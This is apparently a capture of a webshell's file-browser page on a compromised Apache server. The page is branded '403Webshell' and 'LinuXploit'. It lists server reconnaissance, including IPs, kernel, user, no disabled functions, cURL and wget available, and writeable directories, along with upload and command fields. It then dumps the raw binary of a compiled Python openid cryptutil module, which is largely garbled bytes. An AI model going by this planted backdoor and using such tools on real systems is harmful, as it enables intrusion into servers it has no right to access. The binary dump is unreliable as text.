403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/openid/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/openid/__pycache__/cryptutil.cpython-311.pyc
�

|=�^���:�dZgd�ZddlZddlZddlZddlmZmZddlZGd�de	��Z
e
ej��Ze
ej
��Zd�Zd�Zd	�Zd
�Z
dZ	ddlmZmZd
�Zd�Zn#e$r
ddlZd�Zd�ZYnwxYwejZejZd�Zd�Zdd�Zd�ZdS)a,Module containing a cryptographic-quality source of randomness and
other cryptographically useful functionality

Python 2.4 needs no external support for this module, nor does Python
2.3 on a system with /dev/urandom.

Other configurations will need a quality source of random bytes and
access to a function that will convert binary strings to long
integers. This module will work with the Python Cryptography Toolkit
(pycrypto) if it is present. pycrypto can be found with a search
engine, but is currently found at:

http://www.amk.ca/python/code/crypto
)
�base64ToLong�binaryToLong�hmacSha1�
hmacSha256�longToBase64�longToBinary�randomString�	randrange�sha1�sha256�N)�toBase64�
fromBase64c��eZdZd�ZdS)�
HashContainerc�<�||_|��j|_dS�N)�new�digest_size)�self�hash_constructors  �2/usr/lib/python3/dist-packages/openid/cryptutil.py�__init__zHashContainer.__init__'s#��#���+�+�-�-�9�����N)�__name__�
__module__�__qualname__r�rrrr&s#������:�:�:�:�:rrc���t|t��rt|d���}t|t��rt|d���}tj||t
�����S�N�utf-8)�encoding)�
isinstance�str�bytes�hmacr�sha1_module�digest��key�texts  rrr0sj���#�s���+��C�'�*�*�*���$����-��T�G�,�,�,���8�C��{�+�+�2�2�4�4�4rc��t|t��rt|d���}t�|�����Sr)r"r#r$r&rr'��ss rr
r
8sD���!�S���'��!�g�&�&�&���?�?�1���$�$�&�&�&rc���t|t��rt|d���}t|t��rt|d���}tj||t
�����Sr)r"r#r$r%r�
sha256_moduler'r(s  rrr>sj���#�s���+��C�'�*�*�*���$����-��T�G�,�,�,���8�C��}�-�-�4�4�6�6�6rc��t|t��rt|d���}t�|�����Sr)r"r#r$r/rr'r,s rrrFsF���!�S���'��!�g�&�&�&�����Q���&�&�(�(�(rT)�
long_to_bytes�
bytes_to_longc�p�|dkrtd���t|��}|ddkrd|zS|S)Nr�-This function only supports positive integers��)�
ValueErrorr1)�l�
bytestrings  rrrfsG���q�5�5��L�M�M�M�"�1�%�%�
��a�=�3����Z�'�'��rc�x�|std���|ddkrtd���t|��S)Nz Empty string passed to strToLongrr5r4)r7r2)r9s rrrpsF���	A��?�@�@�@��a�=�3����L�M�M�M��Z�(�(�(rc��|dkrdSttj|����}|���t	|��S)Nrr6)�	bytearray�pickle�encode_long�reverser$)r8�bs  rrrVs@����6�6��7��f�(��+�+�,�,��	�	�	�����Q�x�x�rc���t|t��r|�d��}t|��}|���tjt|����S)Nr )r"r#�encoder<r?r=�decode_longr$)r-r@s  rrr]sT���a����	"�����!�!�A��a�L�L��	�	�	�����!�%��(�(�+�+�+rc�:�tt|����Sr)r
r)r8s rrr�s���L��O�O�$�$�$rc�:�tt|����Sr)rrr,s rrr�s���
�1�
�
�&�&�&rc������t|��St����d���fd�t|��D����S)z:Produce a string of length random bytes, chosen from chrs.N�c�:��g|]}�t�����Sr)r	)�.0�_�chrs�ns  ��r�
<listcomp>z randomString.<locals>.<listcomp>�s$���B�B�B�q��Y�q�\�\�*�B�B�Br)�getBytes�len�join�range)�lengthrKrLs `@rrr�sR�����|��������I�I���w�w�B�B�B�B�B�E�&�M�M�B�B�B�C�C�Crc��t|��t|��krdSd}tt|����D]}|o||||k}�|S)NFT)rOrQ)�s1�s2�result�is    r�const_eqrX�s[��
�2�w�w�#�b�'�'����u�
�F�
�3�r�7�7�^�^�-�-���,�R��U�b��e�^����Mrr) �__doc__�__all__r%�os�random�openid.oidutilr
r�hashlib�objectrr
r&rr/rr�SHA256_AVAILABLE�Crypto.Util.numberr1r2rr�ImportErrorr=�urandomrNr	rrrrXrrr�<module>rds���
�
���������	�	�	�	�
�
�
�
�/�/�/�/�/�/�/�/�����:�:�:�:�:�F�:�:�:��m�G�L�)�)���
�g�n�-�-�
�5�5�5�'�'�'�7�7�7�)�)�)���))�?�?�?�?�?�?�?�?�.���)�)�)�)��A�,�,�,��M�M�M����,�,�,�,�,�,����V�:��
��	�%�%�%�'�'�'�D�D�D�D�����s�A+�+A=�<A=

Youez - 2016 - github.com/yon3zu
LinuXploit